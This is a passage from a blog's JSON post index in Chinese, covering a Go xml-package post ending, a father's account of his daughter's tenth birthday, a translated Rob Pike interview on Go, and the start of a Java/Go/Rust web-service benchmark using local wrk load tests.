XML作为上一代被设计用来传输和存储数据的标记语言格式，在Go中的支持并不完善，关于标准库xml包的issue还有好多处于open状态。在标准库xml包更新较慢的情况下，clone一份xml包并进行定制不失为一种好的折中方法。\n本文所涉及源码在这里可以下载。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/06/04/the-issue-of-go-xml-package-rewrite-carriage-return/","summary":"\u003cp\u003e今年4月份，中国移动、中国电信、中国联通三大运营商联合举行线上发布会，发布了\u003ca href=\"http://finance.sina.com.cn/stock/stockzmt/2020-04-08/doc-iircuyvh6639036.shtml\"\u003e《5G消息白皮书》\u003c/a\u003e。所谓5G消息，即传统短信消息（仅能进行文本展示）的升级版，是由\u003ca href=\"https://www.gsma.com/\"\u003eGSMA\u003c/a\u003e组织制定的\u003ca href=\"https://www.gsma.com/futurenetworks/rcs/\"\u003eRCS(Rich Communication Suite)\u003c/a\u003e消息规范所定义。2019年RCS UP（unified profile)更新到2.4版本，并成为了5G终端标准的一部分，该版本也是第一个具备商用能力的版本，为5G消息商用奠定了基础。中国移动计划2020.6月末正式实现5G消息的商用，目前已经在浙江和广东建立了两个5G消息的支撑节点（分别由中兴和华为承建）。作为电信移动增值领域的厂商，我方也参与了与浙江节点进行行业5G消息平台(\u003ca href=\"https://www.gsma.com/futurenetworks/resources/messaging-as-a-platform\"\u003eMaaP\u003c/a\u003e)联调与应用开发。\u003c/p\u003e","title":"关于xml包在Unmarshal时将 重写为 的问题"},{"content":"好久没有在我的博客上写关于果果的事情了，因为很多关于果果成长的经历都记录在她自己的博客中了。但今天是她十周岁的生日，是个值得纪念的日子。闺女成长的十年，也是我学习为人父的十年。作为父亲，我发自内心地想说点啥，是回顾，也是感受，亦有些寄语^_^。\n图：果果成长的十年\n出生 老婆在2009年7月怀上了果果。那时我们刚刚新婚不久，二人世界还没过够^_^，小家伙的突然到来还让我们有些“手足无措”。为此，我们还认真地讨论了两天，最终老婆拍板：我要生下这个孩子，于是果果保住了^_^。如今，每当果果提及此事，都会“发狠”地盯上我几眼，我也只能呵呵呵呵地应对^_^。\n老婆怀胎中段，我一直在福建出差，虽然有岳母陪在老婆身边，但年底那两个月，老婆心情十分差。直到那一年大年三十的下午2点，我才在桃仙机场下的飞机，匆匆赶回家。大街上连车的打不到，多亏还有公交系统。进入家门，心里满满的都是对老婆的愧疚。记忆中老婆似乎并没有说啥，只说了一句“吃饭吧”，我顿感心里热乎乎的。\n果果似乎很享受在妈妈子宫中待着，预产期都过了几天了，她还没有反应，直到2010年5月3日凌晨1点多，规律性的宫缩“来袭”。我们匆忙赶到医院，早上6点半多，老婆进入产室，9点多，我在产室外听到了果果呱呱坠地后的第一声啼哭。\n图：刚出生的果果\n果果出生后，恰逢徐峥的作品《人在囧途》上映，影片中徐峥扮演角色的孩子叫果果，我们觉得这个小名不错，于是便给我们宝宝起名为果果。\n第一次照顾这么小的孩子也着实让我们这些大人手忙脚乱一段时间。出月子后，生活逐渐恢复平稳。果果每天除了吃奶就是睡觉，也算是比较省心了。稍大一些后，果果似乎并不太愿意睡觉了，每次喂完奶都得放到小车上在厅里推过来推过去哄她睡觉，后来果果姥姥买的一个能发出大恐龙吼声的玩具也加入到促进果果睡眠的行列中^_^。\n第一次走路(0岁) 果果一直母乳喂养，身体也很壮实。抬头、翻身、学会爬行和其他孩子相比都略有提前。最让我印象深刻是她第一次学会独立行走。记得那是2010年农历春节前，我们家当时的供暖非常好，室温在28度以上。果果在家只穿一套内衣裤，因此行动和玩耍起来非常方便。之前果果就可以扶着床沿踱步了并且她似乎也很喜欢站起来的感觉。那天她自己在卧室的地板上玩耍，我在门口偷偷观察她。她玩了一会儿就开始扶着床站起来，看我站在门口，她居然放开了扶着床沿的双手，向我摇摇晃晃地走了过来。从床边到卧室门口大约有不到2米的距离，我也兴奋地张开双臂，引导她向我走来。她边走边兴奋地笑，似乎也在惊讶于自己能独立行走了。在她扑到我的怀中的那一刻，我才意识到我见证了果果人生第一次独立行走，老婆听到这个消息也是兴奋不已。自从果果学会了走路，此后便一发不可收拾^_^。\n打针不哭(1岁) 可能是因为母乳喂养，果果在一岁的这一年中没有患过任何感冒发烧的病症。但当母体带给她的免疫力逐渐失去作用后，果果便和其他小朋友一样，会得感冒，也会发烧。记得果果第一次感冒(刚过一岁生日没多久)就烧的特别厉害。由于我们也是第一次遇到这种情况，特别担心，于是就带她去医院检查。虽然我们期望医生开立口服药，但医生最终还是开了点滴。在护士站门口，果果看到其他孩子扎针时都哇哇的哭，心里也胆怯了。果不其然，当针头穿透她的皮肤进入血管的那一刻，果果也像其他孩子一样，哇哇大哭起来。\n有了这次“痛苦”的扎针经历后，我们也对她进行了心理疏导，教她要学会坚强，从她的眼神看得出来，她似乎听懂了。在2011年的秋冬换季，果果又患感冒发烧。同样去了医院，同样开了点滴，但在护士站扎针的时候，果果居然很坚强的忍住了，没有哇哇的哭泣，这让看惯了孩子痛哭的护士也是惊奇不已。看着泪水在眼圈里打转但没有哭出来的果果，我们心里更是心疼她了。\n送去幼儿园学说话(2岁) 果果在11个月的时候就会喊妈妈了，但直到2岁半她能吐出的字依然只有“妈妈”，偶尔也有“爸爸”。现在看来，果果说话晚是因为我们给她的语言刺激太少了。果果不愿意睡觉，一旦睡着了，老人生怕声音大吵醒她，于是就命令我们不许出声。久而久之，果果在潜意思中得到的声音刺激、语言刺激照比其他小朋友就要少很多。为此，我们还带着果果去看了生长发育门诊、做过筛查，结果都显示果果没有任何生理性的疾病。\n我们需要找到一个让果果接受更多语言刺激的方法，最终我们决定在果果2岁零5个月的时候送她去幼儿园“学说话”。做过家长的都知道，送孩子去幼儿园的过程是“痛苦”的，孩子哭闹，家长心疼，但这个过程是必须要经历的。付出了就有收获。在果果上幼儿园后的一个月，果果的“话匣子”就彻底打开了^_^。\n更像女娃了，但怕大海(3岁) 出生时，果果头发稀少，为了让果果长出更好的头发，我们每隔一段时间就把她的头发剃的很短(几近光头)。在2岁之内，果果更像一个“男娃”。直到3岁以后，我们开始给她留头发了。小家伙似乎也知道留头发后自己更好看了，姥姥每次给她梳头扎辫她都很喜欢。留着还有些短的头发让她更像女娃了：\n图：更像女娃的果果\n下半年，我们把果果转到了更大的幼儿园，并且果果每天上幼儿园都不再费劲了。她在幼儿园也学到了许多知识、技能和礼节。\n3岁的果果的身体显得比同龄的女宝高大一圈，我们也开始带着她到处出行游玩。劳动节黄金周我们第一次带孩子去海边。那天的风浪比较大，浪花拍击礁石的声音震耳欲聋，果果显得很害怕。我们抱着她向海边靠近，但她却一直在挣扎并大喊：“离开、离开、走、走”。当我自己独自向大海靠近时，她也大喊：“爸爸，你回来，你回来”。见此情景，我们都哈哈大笑起来。\n后来我们去了一处比较海浪比较舒缓的地带，没有了海浪拍打的巨大轰隆声，果果镇定了许多。也开始站在沙滩上和其他小朋友一起挖起沙子了。\n独立爬山(4岁) 4岁的果果不仅个头高，而且壮实了。我们在权衡了之后，决定在假期带她去爬山，并且我已经做好了背她上山的准备。那次我们爬的是千山。千山在整个省内的爬山困难指数排行榜上也是名列前茅的。不过小家伙似乎很喜欢爬山，在登山栈道上显得十分兴奋，我们也给她做心里建设，希望她自己爬到顶峰。虽然在中段她也曾打过退堂鼓，但最终小家伙还是凭借自己的双腿和毅力爬上了山顶，我和老婆也都是非常惊讶。下山过程中，小家伙也是一路欢喜，并没用我们费心。只是由于累了，在回程的车上，小家伙呼呼的睡了一道。\n正因为此次爬山的经历，果果爱上了爬山。后续选择旅游景点，她总是先挑那些有山可爬的地方，比如：2019年的陕西的华山、骊山等。\n和妈妈一起去普吉岛(5岁) 孩子小的时候，出行很麻烦，而且孩子能收获的东西有限。5岁是一个很好的节点，她基本能自立了，而且感知和吸收外界信息的能力已经很强了。\n5岁这一年是果果第一次和妈妈出国旅游，此次出行的目的是泰国普吉岛，和她们一起去的还有老婆的同事，这些同事也能帮助老婆照顾照顾果果，顺道还能锻炼一下果果的交际能力。这也是果果第一次乘飞机出行，在机场她十分兴奋。她们的航班在首尔中转，从首尔飞到普吉需要5-6个小时，这下让果果过了一把飞行瘾，她尤其喜欢飞机起降过程中的那种感觉，以至于以后每次出行，她都嚷嚷着要买多次经停或中转的航班^_^。\n更难得可贵的是，这次的旅游经历深深印在果果的记忆中，至今每当翻看那时的照片时，她还能头头是道的给我们讲当时发生的故事。有些事情，我老婆都已经记不得了。\n上小学了(6岁) 转眼间，果果来到了6周岁，已经到了上学的年龄了。9月份，果果正式成为一名珠江街第五小学一年级的“小豆包”。和第一次上幼儿园不同，这次果果适应的很快，也没有哭鼻子的情况。反倒是回来和我们说她班级有小朋友一直哭，她还很疑惑这些小朋友为什么要哭^_^。\n上学后，更多的教育责任“甩”给了班主任老师，我们平时更多是帮忙批改批改作业，督促读读书，带着上上才艺班。果果的古筝是各门才艺课中学的最好的，果果也有了那么一些古典的气质：\n图：有一丝古典气质的果果\n这一年我还给果果开了博客。有些东西，光靠脑子是记不住的，写下来，留给多年后的自己和孩子慢慢回味。在果果能自己维护这个博客之前，我就先替她维护了。\n叛逆与独立(7~9岁) 进入到7岁以后，果果受到的教育多了，读的书多了，渐渐了有了自己的主见和小脾气，再也不是那个将父母话“奉为圭臬”的小女娃了。如果就某事“辩论”，她姥姥已经完全不是对手了。也只有我和老婆偶尔还能“恩威并举”的降住她:(。\n果果喜欢读故事书。她最喜欢读郑渊洁的童话，按照她的说法，市面上郑渊洁的书她基本都读完了，有些书，她已经读过不止一遍了。受郑渊洁风格的影响，她喜欢写幻想类的作文，喜欢天马行空，因此在细节描写上就差了一些。\n她还喜欢“米小圈上学记”，每天晚上都是在天猫精灵播放的米小圈上学记中入睡的。\n她喜欢宜家买来的老虎和小狗玩偶，一个起名为花果，一个起名为木果，每天一左一右的陪她入睡。\n天猫精灵是她每天不可或缺的“伙伴”。早上听新闻早报，天气预报；晚上听故事，听历史，听音乐；偶尔还和天猫精灵玩玩互动猜谜游戏。真不愧为互联网和智能时代的原著民。\n8岁的果果，其古筝考级已经通过了10级，这还是在她不是很勤奋练琴的情况下取得的。\n这个阶段的果果也十分贪玩，喜欢去游乐场，玩老爸都不敢玩的惊险刺激的项目(只能由她妈妈陪着)。\n9岁时，她偶尔和妈妈看了一集“家有儿女”，从那时起就“沉迷”于该剧：只要拿起iPad就必然打开“家有儿女”视频。她看电视剧和她看书的特点一样，如果某一集是她喜欢的，她会反复看上好多遍，丝毫没有不耐烦的迹象。有些集的台词她都能背下来，并粘着我和我老婆要给我们讲。还别说，讲的还头头是道的^_^。\n亭亭玉立的大姑娘(10岁) 由于新冠疫情的影响，果果的10岁生日在家里过的，我们也没法带她出去“玩耍”一番。10岁的她已经是一个亭亭玉立的大姑娘了。她的个头快赶上她妈妈了，大长腿，身材是“青出于蓝而胜于蓝”。\n图：十岁的果果\n图：亭亭玉立的果果\n这次10周岁的生日除了生日蛋糕，还有一个更为特殊的礼物，那就是妈妈肚里的二宝，这也是果果一直想要的弟弟/妹妹。自从知道妈妈怀了二宝之后，果果变得更加懂事了。每天晚上对着妈妈的肚子给二宝讲故事，晚上睡觉前也会对着妈妈肚子猛“亲”几口^_^。\n为了留下美好回忆，我们还特地在果果十周岁生日的时候在影楼留下了一家四口的合影：\n图：十岁果果生日时一家四口合影\n小结 果果成长的十年给我的最大感受就是：快！一晃间，果果都10岁了，二宝也即将出生。我和老婆也即将步入中年。这里做的这个阶段性的回顾，以期若干年后当记忆模糊时还能通过这篇文章回忆起当年果果小时候的点点滴滴。\n这里也希望果果在未来的人生道路中能继续一帆风顺，身体健健康康，每天快快乐乐。\n希望果果和即将出生的二宝一起姐妹情深，相濡以沫，共同走好人生之路。\n最后，人生在于经历，而不在于得失。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2020/05/03/guoguo-ten-years-old/","summary":"\u003cp\u003e好久没有在我的博客上写关于\u003ca href=\"https://daughter.tonybai.com/\"\u003e果果\u003c/a\u003e的事情了，因为很多关于果果成长的经历都记录在\u003ca href=\"https://daughter.tonybai.com/\"\u003e她自己的博客\u003c/a\u003e中了。但今天是她\u003ca href=\"https://daughter.tonybai.com/2020/05/03/i-am-10-years-old/\"\u003e十周岁的生日\u003c/a\u003e，是个值得纪念的日子。闺女成长的十年，也是我学习为人父的十年。作为父亲，我发自内心地想说点啥，是回顾，也是感受，亦有些寄语^_^。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/guoguo-ten-years-old/guoguo-10-years-old-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e图：果果成长的十年\u003c/p\u003e\n\u003ch3 id=\"出生\"\u003e出生\u003c/h3\u003e\n\u003cp\u003e老婆在2009年7月怀上了果果。那时我们刚刚新婚不久，二人世界还没过够^_^，小家伙的突然到来还让我们有些“手足无措”。为此，我们还认真地讨论了两天，最终老婆拍板：\u003cstrong\u003e我要生下这个孩子\u003c/strong\u003e，于是果果保住了^_^。如今，每当果果提及此事，都会“发狠”地盯上我几眼，我也只能呵呵呵呵地应对^_^。\u003c/p\u003e","title":"果果十周岁了！"},{"content":" 尽管看到Docker，Kubernetes和用Go编写的云计算的许多其他组件令人欣喜和重要，但也许并不奇怪。Go确实已经成为云基础架构的语言。- Rob Pike，Go编程语言的联合作者\n本文翻译自《Rob Pike interview: “Go has indeed become the language of cloud infrastructure”》。\n简介 我们与Go编程语言之父Rob Pike(以下称Rob)谈谈跨越整整40年的职业生涯、过去10年来Go语言的变化，以及未来Go语言的演化方向。\n专访 Evrone：您与今天的许多开发人员不同，您数十年前就在Bell Labs开始了您的职业生涯。以您的阅历和认知，您认为我们开发软件时最大变化是什么？\nRob：今天的软件规模(scale)更大。不仅是计算机和网络，还有程序本身。所有Unix版本6（大约1975年）的程序都可以顺利地安装在单个RK05磁盘包上，该磁盘包的存储量刚刚超过2MB，还为用户软件留出了很大的空间。那是一个很好的计算环境，或者至少在当时看起来是一个。当然，尽管我可以解释其中的大部分增长，但令人惊讶的是，也许并不是所有的增长都是合理的。\nEvrone：鉴于“变革的阻力”和“兼容性的承诺”，您如何看待Go编程语言及其生态系统在未来十年的发展？您认为的该技术的最佳未来是什么呢？\nRob：尽管还不确定，但经过十多年的努力，一个看起来更像是针对参数多态性的设计，即我们俗称泛型(具有误导性)的东西将在未来一两年内问世。找到一个可以在现有语言中运行并且感觉好像属于它的设计是一个非常困难的问题，但是伊恩·泰勒（Ian Taylor）在该问题中投入了巨大的精力，看来现在已经找到了答案。我也非常渴望看到该设计会如何影响库、生态系统和社区的。\nEvrone：随着“渐进类型”引入“动态类型”语言以及“类型推断”引入“静态类型”，两者之间的界限现在变得越来越模糊。您对现代编程语言的类型系统有何看法？\nRob：我非常喜欢静态类型，因为它带来了稳定性和安全性。\n我也非常喜欢动态打类型，因为它带来的乐趣和轻巧的感觉。\n我不喜欢类型驱动的编程、类型层次结构、类以及继承。尽管已经通过这些方式构建了许多非常成功的项目，但我认为这种方法将重要的决策过早地推到了设计阶段，而经验并没有影响到它。换句话说，我更喜欢组合而不是继承。\n但是，我对那些喜欢使用继承来构造程序的人说：不必在意我的观点，请继续使用对你们有用的东西。\nEvrone：有时候人们以奇怪的方式使用技术。例如，要从高级Python或Ruby代码生成高效的Go代码（是的，我们已经看到了！）多年来，您看到过最奇怪，最有创意或有趣的Go用法了吗？最让您惊讶的是什么？\nRob：最大的惊喜是当我们得知Go被用于编写恶意软件时(译注：手动允悲)。您无法控制谁将使用您的作品或他们将如何使用它。\nEvrone：您设计和实现了许多文本编辑器。您如何看待Visual Studio Code？通过LSP之类的技术，“文本编辑器”和IDE之间的界限现在变得模糊了。您是否认为软件开发人员需要功能强大的IDE（如GoLand）或使用VSCode很好？\nRob：我来自IDE之前的时代。但是在项目的早期，有人谈到Go是否需要IDE才能成功。但是，团队中没有人拥有这方面的技能，因此我们没有尝试去创建一个(Go专属IDE)。但是，我们确实创建了用于解析和打印Go代码的核心库，这为各种编辑器和IDE快速创建了高质量的插件提供了极大的便利，这也算是一个偶然的成功。\n最近，我们一直在努力为Go开发LSP服务器，该服务器称为gopls，支持该协议的任何编辑器或IDE均可使用该服务器，以改善使用该语言的体验。\n也许是因为我们对使用简单的编辑器形式感到满意，所以我们确保大家无需背负沉重的编程环境搭建负担即可轻松地使用Go工作。但是，IDE当然可以提供帮助：我今天看到的大多数使用Go IDE或至少使用具有自定义Go支持的编辑器的开发人员都能从中获得很多价值。\n使用哪种编辑器风格的问题取决于您的口味，并随您所用语言的文化而变化。\nEvrone：软件开发人员倾向于给事物打标签，例如Dart是一种“前端语言”，而C是一种“系统底层语言”，等等。就目前的Go语言的功能集和用法，您现在如何称呼它？\nRob： Go是一种通用编程语言。编写您想要的任何内容，不必担心将语言或与此相关的任何其他技术固定到单个问题域。\nEvrone：您个人还喜欢哪些其他现代编程语言？\nRob：Go的经验告诉我，人们喜欢对语言发表意见，这可能比我们领域中的几乎任何其他要素都要多。我当然也是这样做的。但是我对经常导致的消极情绪感到厌倦，所以现在我尽量避免评判那些事情。\n在很少有新的语言问世并获得成功的一段时间之后，在过去的十多年中，语言设计才有了真正的复兴。很高兴看到这一点及其带来的创新。\nEvrone：成为Google员工是如何帮助您开发和引导Go语言的？能够在Twitter上问“告诉我们您如何使用我们的语言”并获得全球最大公司的回应有多重要？它只是语言开发的一个不错的补充还是必不可少的一部分？Google如何为您提供帮助的？\nRob： Google非常支持Go项目，对此我深表感谢。当然，创建该语言是因为我们认为Google需要它。所谓的“云计算”需要一种具有对并发性和易于部署等方面良好支持的语言。但是Google并没有以任何重要方式指导该项目。它支持我们，让我们做我们认为最好的事情。\n对于其他公司和其他用户，社区的投入对于理解项目的进展至关重要，我的意思是语言，编译器，工具，运行时，库，环境（所有这些）的发展。\nEvrone：经过10年的Go开发以及对其使用方式的观察，您能说出该语言最大的设计成功和最大的失败是什么？分别是最强点和最弱点？\nRob：我要说两件事，一是技术问题，一是政治问题。\n技术上是对并发计算的原生(first-class)支持。Go仅仅存在了十年左右，但是当它被开发时，“线程”和并发在编程社区中并未得到广泛认可。实际上，创建Go的主要原因是当时很难用C++进行并发计算。并发支持在发布后不久就很明显成为了该语言的一个主要吸引力，可以弥补一些人认为该语言其他部分的缺点。并发动了大家的神经。一旦人们开始使用并发功能，他们便开始探索有关该语言的其他内容，并发现那里(Go语言中)存在的东西超出了他们最初的想象。支持并发是（进入Go语言世界）的网关。\n正如Cloudflare的John Graham-Cumming所说：“我为实现简单的并发而来，而为实现简单的组合而留下来”。\nGo改变了有关如何对多核计算机进行编程的讨论。\nGo语言在政治上的成功是坚定的执行了关于Go1兼容性的承诺。曾经我们和社区一旦使用Go几年，我们就有了很长的清单需要修复，但是变化是破坏性的。因此，我们仔细设计了更新程序，并使用了“go fix”命令来推动社区发展。完成这些后，我们不仅停了下来，而且还承诺会保持这种“停止”状态。这种稳定性 – 2012年编写的Go程序今天仍可以编译并完美运行 – 是促进增长的巨大推动力。公司可以放心使用我们，因为我们不会破坏其软件。在Go 1.0版本及其兼容性承诺出现之后，Go的采用率急剧上升。而且，从那以后，尽管我们有许多我们想改变的东西，但是我们不能破坏现有的程序，对此，我们感觉很好。\nEvrone：您的工作与生活平衡如何？现在有很多关于“倦怠”的话题，这种流行病根本没有帮助。以你40年的阅历，您对新一代开发者有何提醒？\nRob：避免倦怠的最佳方法是在支持您的环境中做自己真正喜欢的事情。在整个职业生涯中，我一直很幸运，但是我意识到并不是每个人都如此幸运。如果您因工作而感到压力，则应随时休息或改变方向，尤其是在当前情况下。\nEvrone：事后看来，许多技术的普及归功于使它们流行的所谓“杀手级应用”。您能为Go编程语言列举出这样的“杀手级应用程序”吗？您整体上对这种“杀手级应用程序”想法有何看法？\nRob：几年前，Danny Berkholz将Go称为“云基础架构的新兴语言”，这绝非偶然。Go是由Google的工作人员设计的，目的是使编写与Google相关的软件（特别是驻留在网络中的服务器）更容易。就是今天我们所说的“云”。（该设计的某些动机是在我2012年的Splash主题演讲: Go at Google: 软件工程服务中的语言设计。\n因此，尽管看到用Go语言编写的Docker，Kubernetes和云计算的许多其他组件很令人高兴且很重要，但也许并不奇怪。Go确实已经成为云基础架构的语言。\nEvrone：您觉得Go语言的竞争对手是谁？在哪个领域竞争？您对Rust的“无垃圾收集”构想和编译时保证有何看法？\nRob： Rust是一种有趣的语言，我很感兴趣地看着它的发展。除此之外，正如我上面所说，我没有意见。\nEvrone：Go在GitHub上已达到7万颗星！您如何看待GitHub，Reddit，Twitter，离线和在线会议，网络研讨会等不同的社交活动对语言的影响？它们对语言的成功重要还是仅仅反映了语言的成功？\nRob：我们通过会议和社交媒体结识的人们一直是Go及其所有元素发展的关键部分。许多许多贡献者以积极的方式影响了开发，包括将Go移植到Windows和许多非x86架构上，工具和库的开发，对技术建议的深入讨论等等。\n反过来，Go团队也与社区进行联系并积极讨论，提出问题并寻求帮助和指导。\n我认为重要的一件事是，以一种声音与社区互动，以团队而非个人的身份说话。一致的消息更容易理解。\nEvrone：成为一种流行的编程语言的作者如何改变了您的生活？\nRob：一个更正：我是合著者，而不是作者。肯·汤普森（Ken Thompson）和罗伯特·格里塞梅尔（Robert Griesemer）与我一起开始了这个项目，其他许多人也做出了巨大贡献。因此，请不要单把我列为“作者”。\n为了回答您的问题，Go无疑提高了我的公众形象，并向我介绍了一个新的充满活力的社区，但是除此之外，它并没有太大的作用。我有很长的职业生涯，并取得了其他的成功（以及无数的失败）。\nEvrone：想象一下，如果您有机会时光倒流并且给年轻时候的你提出一个建议（只有一个），如果是回到大约在您开始设计Go语言规范时，您会给您自己和您的同事提出什么建议？\nRob：很简单：忽略仇恨者(haters)。只倾听那些能理解和分享您目标的声音；他们是在乎Go的人。并非每个人都认同您在做的事情，这没关系。但是，那些致力于推进您想要做的事情的人可能会成为想法，能量和灵感的绝佳来源。\n我们将永远感谢我们充满热情的社区。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/05/01/rob-pike-interview-go-become-the-language-of-cloud-infrastructure/","summary":"\u003cblockquote\u003e\n\u003cp\u003e尽管看到Docker，Kubernetes和用Go编写的云计算的许多其他组件令人欣喜和重要，但也许并不奇怪。Go确实已经成为云基础架构的语言。- Rob Pike，Go编程语言的联合作者\u003c/p\u003e","title":"Go语言联合作者Rob Pike专访：Go确实已成为云基础架构的语言"},{"content":"\n这是Java，Go和Rust之间的比较。这不是基准测试，更多是对可执行文件大小、内存使用率、CPU使用率、运行时要求等的比较，当然还有一个小的基准测试，可以看到每秒处理的请求数量，我将尝试对这些数字进行有意义的解读。\n为了尝试尽可能公平比较，我在此比较中使用每种语言编写了一个Web服务。Web服务非常简单，它提供了三个REST服务端点(endpoint)。\nWeb服务提供的服务端点\n这三个Web服务的代码仓库托管在github上。\n编译后的二进制文件尺寸 有关如何构建二进制文件的一些信息。对于Java，我使用maven-shade-plugin和mvn package命令将所有内容构建到一个大的jar中。对于Go，我使用go build。最后，我使用了cargo build –release构建Rust服务的二进制文件。\n每个程序的大小（以兆字节为单位）\n编译后的文件大小还取决于所选的库/依赖项，因此，如果依赖项的身躯臃肿，则编译后的程序也将难以幸免。在我的特定情况下，针对我选择的特定库，以上是程序编译后的大小。\n在后续的一个单独小节中，我会把这三个程序都构建并打包为docker镜像，并列出它们的大小，以显示每种语言所需的运行时开销。下面有更多详细信息。\n内存使用情况 空闲状态 每个应用程序在内存空闲时的内存使用情况\n什么？Go和Rust版本显示空闲时内存占用量的条形图在哪里？好了，它们在那里，只有JVM启动的程序在空闲状态时消耗160 MB以上的内存，它什么也没做。Go应用程序仅使用0.86 MB，Rust应用也仅使用了0.36 MB。这是一个巨大的差异！在这里，Java使用的内存比Go和Rust应用使用的内存高出两个数量级，只是空占着内存却什么都不做。那是巨大的资源浪费。\n服务REST请求 让我们使用wrk发起访问API的请求，并观察内存和CPU使用情况，以及在我的计算机上三个版本程序的每个端点每秒处理的请求数。\nwrk -t2 -c400 -d30s http://127.0.0.1:8080/hello wrk -t2 -c400 -d30s http://127.0.0.1:8080/greeting/Jane wrk -t2 -c400 -d30s http://127.0.0.1:8080/fibonacci/35 上面的wrk命令使用两个线程并在连接池中保持400个打开的连接，并重复调用GET端点，持续30秒。这里我仅使用两个线程，因为wrk和被测程序都在同一台计算机上运行，所以我不希望它们在可用资源（尤其是CPU）上相互竞争（太多）。\n每个Web服务都经过单独测试，并且在每次运行之间都重新启动了Web服务。\n以下是该程序的每个版本的三个运行中的最佳结果。\n/hello 该端点返回Hello，World！信息。它分配字符串“ Hello，World！” 并将其序列化并以JSON格式返回。\n/hello端点的CPU使用率\n/hello端点的内存使用情况\n/hello端点处理的每秒请求数\n/greeting/{name} 该端点接受一个段路径参数{name}，然后格式化字符串“Hello,{name}!”，序列化并以JSON格式的问候消息返回。\n/greeting端点的CPU使用率\n/greeting端点的内存使用情况\n/greeting端点处理的每秒请求数\n/fibonacci/{number} 该端点接受一个段路径参数{number}，并返回序列化为JSON格式的斐波纳契数和输入数。\n对于这个特定的端点，我选择以递归形式实现它。我毫不怀疑，迭代实现会产生更好的性能结果，并且出于生产目的，应该选择一种迭代形式，但是在生产代码中，有些情况下必须使用递归（并非专门用于计算第n个斐波那契数 ）。为此，我希望该实现涉及大量CPU栈分配。\n/fibonacci端点的CPU使用率\n/fibonacci端点的内存使用情况\n/fibonacci端点处理的每秒请求数\n在Fibonacci端点测试期间，Java是唯一一个有150个请求超时的实现，如下面wrk的输出所示。\n超时时间\n/fibonacci端点的延迟\n运行时大小 为了模拟现实世界中的云原生应用程序，并避免“它仅可以在我的机器上运行！”，我分别为这三个应用程序创建了一个docker镜像。\nDocker文件的源代码包含在代码库相应程序文件夹下。\n作为我使用过的Java应用程序的基础镜像，openjdk:8-jre-alpine是已知大小最小的镜像之一，但是，这附带了一些警告，这些警告可能适用于您的应用程序，也可能不适用于您的应用程序，主要是alpine镜像在处理环境变量名称方面不是posix兼容的，因此您不能在Dockerfile中使用ENV中的（点）字符（不过这没什么大不了的），另一个是alpine Linux镜像是使用musl libc而不是glibc编译的，这意味着如果您的应用程序依赖于需要glibc，它可能无法正常工作。不过，在这里，alpine镜像工作是正常的。\n至于应用程序的Go版本和Rust版本，我已经对其进行了静态编译，这意味着它们不希望在运行时镜像中存在libc（glibc，musl…等），这也意味着它们不需要运行OS的基本镜像。因此，我使用了scratch docker镜像，这是一个no-op镜像，以零开销托管已编译的可执行文件。\n我使用的Docker镜像的命名约定为{lang}/webservice。该应用程序的Java，Go和Rust版本的镜像大小分别为113、8.68和4.24 MB。\n最终Docker镜像大小\n结论 三种语言的比较\n在得出任何结论之前，我想指出这三种语言之间的关系。Java和Go都是支持垃圾回收的语言，但是Java会提前编译为在JVM上运行的字节码。启动Java应用程序时，JIT编译器会被调用以通过将字节码编译为本地代码来优化字节码，以提高应用程序的性能。\nGo和Rust都提前编译为本地代码，并且在运行时不会进行进一步的优化。\nJava和Go都是支持垃圾收集的语言，具有**STW(停止世界)**的副作用。这意味着，每当垃圾收集器运行时，它将停止应用程序，进行垃圾收集，并在完成后从停止的地方恢复应用程序。大多数垃圾收集器需要停止运行，但是有些实现似乎不需要这样做。\n当Java语言在90年代创建时，其最大的卖点之一是一次编写，可在任何地方运行。当时这非常好，因为市场上没有很多虚拟化解决方案。如今，大多数CPU支持虚拟化，这种虚拟化抵消了使用某种语言进行开发的诱惑(该语言承诺可以运行在任何平台上)。Docker和其他解决方案以更为低廉的代价提供虚拟化。\n在整个测试中，应用程序的Java版本比Go或Rust对应版本消耗了更多的内存，在前两个测试中，Java使用的内存大约增加了8000％。这意味着对于实际应用程序，Java应用程序的运